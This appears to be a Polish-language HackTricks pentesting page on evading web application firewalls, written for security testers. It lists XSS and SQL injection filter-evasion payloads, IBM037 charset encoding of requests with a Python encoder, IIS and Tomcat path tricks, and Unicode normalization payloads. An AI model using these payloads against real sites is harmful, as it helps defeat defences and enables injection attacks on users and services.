hacktricks/network-services-pentesting/pentesting-web/waf-bypass.md
2024-02-11 01:46:25 +00:00

10 KiB
Raw Permalink Blame History

Bypass WAF

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Bypassy Regex

Różne techniki mogą być używane do obejścia filtrów regex na zaporach ogniowych. Przykłady obejmują zmianę wielkości liter, dodawanie podziałów linii i kodowanie payloadów. Zasoby dotyczące różnych bypassów można znaleźć na stronach PayloadsAllTheThings i OWASP. Poniższe przykłady zostały zaczerpnięte z tego artykułu.

<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

Kodowanie znaków

W niektórych przypadkach, aplikacje internetowe mogą używać różnych kodowań znaków, takich jak UTF-8, ISO-8859-1, itp. Można to wykorzystać do obejścia WAF (Web Application Firewall).

Bypassowanie WAF za pomocą kodowania znaków

  1. Spróbuj wysłać żądanie HTTP z innym kodowaniem znaków, na przykład UTF-7 lub UTF-16. W niektórych przypadkach, WAF może nie być w stanie poprawnie zinterpretować takiego żądania i umożliwić dostęp do zasobów, które normalnie byłyby zablokowane.

  2. Jeśli aplikacja internetowa używa kodowania znaków, które nie jest obsługiwane przez WAF, można spróbować wysłać żądanie z tym kodowaniem. Na przykład, jeśli WAF obsługuje tylko UTF-8, można spróbować wysłać żądanie z kodowaniem ISO-8859-1.

  3. Można również spróbować wykorzystać różnice w kodowaniu znaków, takie jak homografy. Homografy to znaki, które wyglądają podobnie, ale mają inne kody Unicode. Na przykład, litera "a" (U+0061) może być zastąpiona przez literę "а" (U+0430), która wygląda tak samo, ale ma inny kod Unicode. Można spróbować wysłać żądanie z homografami, aby obejść WAF.

  4. Jeśli WAF wykonuje normalizację kodowania znaków, można spróbować wysłać żądanie z niepoprawnie znormalizowanymi znakami. Na przykład, jeśli WAF normalizuje znaki diakrytyczne, można spróbować wysłać żądanie z niepoprawnie znormalizowanymi znakami diakrytycznymi.

Podsumowanie

Bypassowanie WAF za pomocą kodowania znaków może być skuteczną techniką, jeśli WAF nie jest odpowiednio skonfigurowany lub nie obsługuje wszystkich kodowań znaków. Warto eksperymentować z różnymi kodowaniami i technikami, aby znaleźć sposób na obejście WAF i uzyskanie dostępu do zasobów, które normalnie byłyby zablokowane.

# Charset encoding
application/x-www-form-urlencoded;charset=ibm037
multipart/form-data; charset=ibm037,boundary=blah
multipart/form-data; boundary=blah; charset=ibm037

##Python code
import urllib
s = 'payload'
print(urllib.parse.quote_plus(s.encode("IBM037")))

## Request example
GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61

%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n

Obfuskacja

Obfuskacja jest techniką używaną do ukrywania prawdziwego znaczenia kodu lub danych, aby utrudnić ich analizę i zrozumienie. W przypadku omijania WAF (Web Application Firewall), obfuskacja może być używana do uniknięcia wykrycia i blokowania niebezpiecznych żądań.

Obfuskacja znaków

Obfuskacja znaków polega na zamianie znaków w kodzie na inne znaki lub sekwencje znaków, które zachowują funkcjonalność kodu, ale utrudniają jego analizę. Przykłady technik obfuskacji znaków to:

  • Zamiana liter na ich kod ASCII lub Unicode.
  • Zamiana liter na ich odpowiedniki w innych alfabetach.
  • Dodawanie losowych znaków lub białych znaków do kodu.

Obfuskacja kodu

Obfuskacja kodu polega na modyfikacji kodu w taki sposób, aby był trudniejszy do zrozumienia i analizy. Przykłady technik obfuskacji kodu to:

  • Usuwanie lub dodawanie zbędnych instrukcji.
  • Zmiana nazw zmiennych i funkcji na losowe lub trudne do zrozumienia.
  • Używanie skomplikowanych konstrukcji językowych, takich jak zagnieżdżone pętle i warunki.

Obfuskacja danych

Obfuskacja danych polega na zmianie struktury lub formatu danych w celu utrudnienia ich analizy. Przykłady technik obfuskacji danych to:

  • Szyfrowanie danych.
  • Kompresja danych.
  • Zmiana kolejności lub formatu danych.

Obfuskacja protokołu

Obfuskacja protokołu polega na zmianie struktury lub formatu komunikacji między klientem a serwerem w celu utrudnienia analizy i wykrycia niebezpiecznych żądań. Przykłady technik obfuskacji protokołu to:

  • Dodawanie losowych danych do żądań.
  • Zmiana kolejności lub formatu nagłówków.
  • Używanie nietypowych metod komunikacji, takich jak kodowanie Base64.

Obfuskacja adresu IP

Obfuskacja adresu IP polega na ukryciu prawdziwego adresu IP klienta lub serwera poprzez przekierowanie ruchu przez pośrednika lub używanie usług proxy. Przykłady technik obfuskacji adresu IP to:

  • Używanie usług proxy lub VPN.
  • Przekierowywanie ruchu przez serwery pośredniczące.
  • Używanie technik tunelowania, takich jak SSH tunneling.

Obfuskacja żądań HTTP

Obfuskacja żądań HTTP polega na modyfikacji żądań HTTP w taki sposób, aby były trudniejsze do analizy i wykrycia przez WAF. Przykłady technik obfuskacji żądań HTTP to:

  • Dodawanie losowych parametrów do żądań.
  • Zmiana kolejności lub formatu parametrów.
  • Używanie nietypowych metod HTTP, takich jak PUT lub DELETE.

Obfuskacja odpowiedzi HTTP

Obfuskacja odpowiedzi HTTP polega na modyfikacji odpowiedzi HTTP w taki sposób, aby były trudniejsze do analizy i wykrycia przez WAF. Przykłady technik obfuskacji odpowiedzi HTTP to:

  • Dodawanie losowych nagłówków do odpowiedzi.
  • Zmiana kolejności lub formatu nagłówków.
  • Używanie nietypowych kodów odpowiedzi HTTP.
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Zgodność Unicode

W zależności od implementacji normalizacji Unicode (więcej informacji tutaj), znaki, które mają zgodność Unicode, mogą ominąć WAF i wykonać zamierzony ładunek. Zgodne znaki można znaleźć tutaj

Przykład

# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
img src⁼p onerror⁼prompt⁽1⁾﹥  --> img src=p onerror='prompt(1)'>

Przekraczanie ograniczeń rozmiaru

W chmurze opartych na WAF-ach jest powszechne, że jeśli ładunek jest większy niż rozmiar X, żądanie nie zostanie sprawdzone przez WAF. Możesz po prostu użyć tego do ich ominięcia.

Rotacja adresów IP

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: